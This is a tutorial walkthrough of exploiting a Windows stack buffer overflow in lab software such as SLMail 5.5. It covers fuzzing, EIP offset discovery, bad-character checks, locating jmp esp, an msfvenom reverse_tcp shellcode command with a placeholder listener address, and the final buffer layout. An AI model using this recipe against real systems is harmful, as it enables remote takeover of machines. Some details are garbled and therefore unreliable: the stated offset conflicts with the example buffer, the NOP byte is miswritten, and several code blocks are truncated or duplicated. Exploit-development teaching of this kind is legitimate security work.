Windows Buffer Overflow Exploitation Walkthrough –
Proprietary (Fuzzing + Reverse Engineering):

**NOTE:** All Programs on Windows should be run with Administrative Privileges for best results. Each exploit attempt, the vulnerable service and debugger should be restarted.

**LEGAL:** This guide is purely for educational purposes only. A couple of programs to test this out on in a virtual environment (for which I’d recommend Windows 7 x86) are: SLMail version 5.5, and FreeFloat FTP Server version 1. Public exploits are available to use; however, this guide can provide insight into the behind the scenes for those interested in digging a little deeper.

**ANALOGY:** Before we get into the nitty gritty an analogy of a buffer overflow attack can help us to understand it better. A common analogy is an intersection with cars and traffic lights. (FIGURE 1):

![Intersection with cars and traffic lights](image)

In a buffer overflow each register such as ESP is like a lane of traffic, and the EIP instruction pointer is like the traffic lights. Let’s say one of the lanes in the intersection is so full that the traffic lights decide to work in its favour to allow that traffic through. Imagine by doing this that lane manages to gain control over the entire intersection, this is similar to how a buffer overflow works. Let’s say that enough cars come through the intersection, that it affects the other traffic to the point where the traffic bleeds into the other sections of the intersection. This is why a buffer overflow attack normally leads to the whole application crashing, similar
to how at an intersection this would lead to gridlock. But let’s say by doing this we manage to actually change what the traffic lights do meaning some traffic may resort to going to a different destination than originally intended due to the gridlock. In a buffer overflow attack we could leverage this to send the traffic to a different destination where we can hijack the process, and try and use it to gain a remote access shell to the system. Similar to how criminals may leverage a situation like described at the traffic lights to divert a car that they wish to hijack.

For reference, here is a list of the 32bit (x86) registers used in assembly code, similar to the 8 different lanes of traffic at our 4-way intersection, some coming into the intersection and others going away from the intersection.

<table>
<thead>
<tr>
<th>Register</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>EAX</td>
<td>Accumulator</td>
</tr>
<tr>
<td>EBX</td>
<td>Base</td>
</tr>
<tr>
<td>ECX</td>
<td>Counter</td>
</tr>
<tr>
<td>EDX</td>
<td>Data</td>
</tr>
<tr>
<td>ESP</td>
<td>Stack Pointer</td>
</tr>
<tr>
<td>EBP</td>
<td>Stack Base Pointer</td>
</tr>
<tr>
<td>ESI</td>
<td>Source</td>
</tr>
<tr>
<td>EDI</td>
<td>Destination</td>
</tr>
</tbody>
</table>

This may seem overwhelming, but for now let’s just focus on the ESP register, notice how the ESP register is where the stack points to, so in a buffer overflow attack this is usually where the overflow goes.

Even if you have never touched assembly before don’t be afraid. Hack to learn, don’t learn to hack remember?

For testing purposes, I will be using Kali Linux (2017.3) for sending the exploit and the tools it provides me with. I will be debugging the windows application using Immunity Debugger. In Immunity Debugger, we can attach running processes and use the play button to continue running them in order for the debugger to pick up when the overflow occurs.

Let’s assume we’ve established a Buffer Overflow vulnerability through a fuzzing process that sends more and more bytes to the vulnerable server, until we’ve established there is a buffer overflow present.

Once we’ve established how many bytes are enough to trigger the overflow, we can move onto the next step. As we are rewriting the EIP register, we need to work out the point where the buffer bleeds into the EIP register. We can do this using pattern_create.rb, which is a part of the Metasploit Framework. In the latest version of Kali Linux, which is 2017.3, this is located at /usr/share/metasploit-framework/tools/exploit/pattern_create.rb.
Now with the created text we can add it to our script, and send it to the vulnerable service.

When the debugger pauses the crashed application, it reveals a new EIP register. We can copy the new EIP register to search for in our created pattern. Another script can help us out here: `pattern_offset.rb`.

For example, let’s say it returns 2606 as the location, that’s where we can assume the overflow exists.

In our program, we can now add 2606 A’s just as random text, followed by 4 B’s followed by 90 C’s to make sure our program reaches 2700. For reference here is A, B, and C in Hex:

<table>
<thead>
<tr>
<th>ASCII</th>
<th>HEX</th>
</tr>
</thead>
<tbody>
<tr>
<td>A</td>
<td>41</td>
</tr>
<tr>
<td>B</td>
<td>42</td>
</tr>
<tr>
<td>C</td>
<td>43</td>
</tr>
</tbody>
</table>

If we run the updated script, sure enough EIP should equal the 4 B’s (42424242).

Typical payloads are between 350 and 400 bytes long, so we should extend our C’s to check if we can accommodate the payload. Following the example extend the bytes from 2700 to 3500.

The next thing we need to check for is bad characters, try commenting out the old bytes sent, and send all hex bytes to the server from %01 to %ff. Ignore %00 as null bytes are usually bad characters.

POP3 also tends to not be friendly to carriage returns: %0d. Another similar character to carriage returns is the line feed character: %0a.

Bad characters end up either truncated or mangled. Which means the characters are either halted at a certain point, with no characters to follow, or the byte doesn’t show up. Basically, if you don’t see everything from the first byte \x01 to \xff there is an issue. Refer to the full list of hex characters below.
We can use the same program to get pop commands too:

```
root@kali
```

Or we can use `!mona` for `nasm`

```
root@kali
```

To use `nasm`:

```
$nasm\
```

For immunity debugger, we can add `mona.py` to the program and use it for this.

```
!mona modules
```

Now list the modules the program uses and pick one that is not using DEP or ASLR or any other internal security measures. If that is an issue for the vulnerability.

For immunity debugger, we can add `mona.py` to the program and use it for this.

```
!mona find -s "\xff\xe4" -m *.dll
```

Or we can use `msfpescan`:

```
root@kali:~# msfpescan -j vulnprogram.exe
```

We can use the same program to get pop commands too:

```
root@kali:~# msfpescan -p vulnprogram.exe
```
Once we have a `jmp esp` command, we can copy the memory address and add that as the EIP register. When we do this in programming we need to use reverse hex. For example: `0b8c6c4c` would become `\x4c\x6c\x8c\x0b`. Ultimately the EIP will go to the jmp esp command which redirects the program to our C’s. Check this with a break point.

We can now use `msfvenom` to create a payload (`-p`), if needed encode it with `shikata_ga_nai` (`-e x86/shikata_ga_nai`), and can be encoded multiple times with the iteration option (`-i 3` (For 3 times.)), and output it into a C format that we can copy and paste into our script (`-f c`). We add to this any bad characters we have found (`-b` parameter). This will also tell us how many bytes the payload is.

```
root@kali:~# msfvenom -p windows/shell/reverse_tcp -a x86 -platform windows LHOST=[LOCAL IP ADDRESS] LPORT=[LOCAL PORT] -b "\x00\x0a\x0d" -f c -e x86/shikata_ga_nai
```

Append the payload to the script along with some nops (`\x90`) to give some room for the payload to decode. Nop bytes basically just create space, and don’t do anything. Ultimately the buffer in our script should follow:

```
buffer = [PRE-BUFFER] + [EIP-REGISTER] + [NOPS] + [SHELLCODE] + [ADDITIONAL-CHARS]
```

Additional Chars are normally calculated, rather than specified for ease of use. i.e. Let’s say the original overflow was caused by 2700 bytes, and our payload was 360 bytes.

```
buffer = “A”*200 + “\x4c\x6c\x8c\x0b” + “\x09”*30 + shellcode + “C”*(2700-360-30-4-200)
```

Notice how we deduct one by one each component of the buffer, to get the number of bytes for C.

Set up either a Netcat listener or use `exploit/multi/handler` in Metasploit to await the incoming connection.

When we execute our exploit we now should get a remote shell.